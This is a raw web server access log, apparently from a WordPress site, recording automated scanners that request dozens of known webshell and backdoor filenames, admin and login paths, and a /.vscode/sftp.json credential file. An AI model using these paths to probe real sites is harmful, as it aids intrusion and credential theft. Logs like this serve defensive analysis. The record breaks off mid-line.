"-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:28 +0300] "GET /wp-includes/Requests/src/Response/about.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:19 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:46 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:46 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:50 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:18:47 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:18:47 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /file17.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /bu5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:53 +0300] "GET /wp-content/plugins/zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.116.61.192 - - [14/Mar/2026:02:12:25 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:26 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:32 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:35 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:38 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:41 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:44 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:14 +0300] "GET /god4m.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:45 +0300] "GET /tmp.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:18:07 +0300] "GET /wp-admin/css/colors HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:18:07 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:18:07 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /file88.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /bu4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.116.61.192 - - [14/Mar/2026:02:13:10 +0300] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:13:52 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:13:56 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:13:56 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:14:21 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:14:34 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:39 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:40 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:07 +0300] "GET /gelay.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:27 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:53 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.116.61.192 - - [14/Mar/2026:02:11:40 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:13:35 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:14:08 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:14:08 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:14:08 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:46 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:46 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:47 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:50 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:50 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:50 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:51 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:51 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /wp-includes/speculative8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /wp-includes/blocks/post-excerpt/alfa-rex.PHP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:53 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:53 +0300] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.116.61.192 - - [14/Mar/2026:02:11:47 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:09 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:14 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:14:03 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:06 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:06 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:06 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:41 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:18:37 +0300] "GET /wp-includes/IXR/test1.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:18:41 +0300] "GET /wp-includes/js/crop/cropper.php HTTP/1.1" 301 795 "-" "-" 185.241.208.62 - - [14/Mar/2026:02:08:53 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.116.61.192 - - [14/Mar/2026:02:11:30 +0300] "GET /wk/index.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:58 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:14:13 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:55 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:56 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:56 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:00 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:00 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:36 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 43.130.14.245 - - [14/Mar/2026:05:32:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.2.148 - - [14/Mar/2026:05:00:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.205.16.4 - - [14/Mar/2026:06:18:10 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:18:20 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:18:49 +0300] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:18 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:50 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:50 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:08 +0300] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:12 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 43.156.156.96 - - [14/Mar/2026:06:29:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.205.16.4 - - [14/Mar/2026:06:20:01 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:04 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:08 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:12 +0300] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:23 +0300] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:27 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:27 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:27 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:16:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:17:00 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:23 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:26 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:29 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:17 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:57 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:58 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:58 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:58 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:58 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:50 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:50 +0300] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:53 +0300] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:56 +0300] "GET /gelay.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:16:53 +0300] "GET /wk/index.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:17:20 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:17:31 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:18:54 +0300] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:31 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:31 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:35 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:35 +0300] "GET /wp-includes/Requests/src/Response/about.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:45 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:45 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:49 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:49 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:20:49 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:01 +0300] "GET /god4m.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:28 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:28 +0300] "GET /wp-admin/a.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:32 +0300] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:23:06 +0300] "GET /wp-includes/js/crop/cropper.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:23:08 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:23:08 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:12 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:56 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:14 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:15 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:15 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:15 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:16 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:20 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:19 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:23 +0300] "GET /tmp.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:37 +0300] "GET /wp-admin/css/colors HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:37 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:37 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:23:00 +0300] "GET /wp-includes/IXR/test1.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:18:02 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:37 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:40 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:43 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:04 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:04 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:04 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:17:10 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:17:14 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:18:31 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:18:33 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:19:01 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:29 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:33 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:33 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:33 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:33 +0300] "GET /aw.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:37 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:40 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:40 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:22:52 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:17:44 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:17:46 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:17:53 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:17:56 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 4.205.16.4 - - [14/Mar/2026:06:21:45 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 185.249.227.3 - - [14/Mar/2026:08:55:40 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (WordPress CMS Scanner)" 62.60.130.228 - - [14/Mar/2026:07:29:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 86.54.25.175 - - [14/Mar/2026:09:24:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; URLChecker/3.4)" 103.118.44.209 - - [14/Mar/2026:10:18:30 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 47.237.199.138 - - [14/Mar/2026:11:32:03 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36" 43.153.119.119 - - [14/Mar/2026:11:47:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 123.187.240.242 - - [14/Mar/2026:11:57:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 190.119.132.58 - - [14/Mar/2026:12:26:59 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.157.153.236 - - [14/Mar/2026:12:31:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 130.254.47.227 - - [14/Mar/2026:12:53:33 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 116.76.37.65 - - [14/Mar/2026:14:31:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.3400.69 Safari/537.36 Edge/18.18362" 98.159.37.30 - - [14/Mar/2026:14:17:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 150.136.253.162 - - [14/Mar/2026:14:06:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 150.136.253.162 - - [14/Mar/2026:14:06:27 +0300] "GET /register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 150.136.253.162 - - [14/Mar/2026:14:06:27 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 150.136.253.162 - - [14/Mar/2026:14:06:28 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 85.137.48.167 - - [14/Mar/2026:13:48:29 +0300] "GET /wp-content/plugins/14wnxd8ivk1e9n3uvl2d/eix3tum9nwpmlb8thh54Cdefault.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 150.136.253.162 - - [14/Mar/2026:14:06:18 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 150.136.253.162 - - [14/Mar/2026:14:06:13 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 150.136.253.162 - - [14/Mar/2026:14:06:23 +0300] "GET /user/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 86.48.2.117 - - [14/Mar/2026:14:46:24 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 87.228.108.4 - - [14/Mar/2026:13:26:31 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 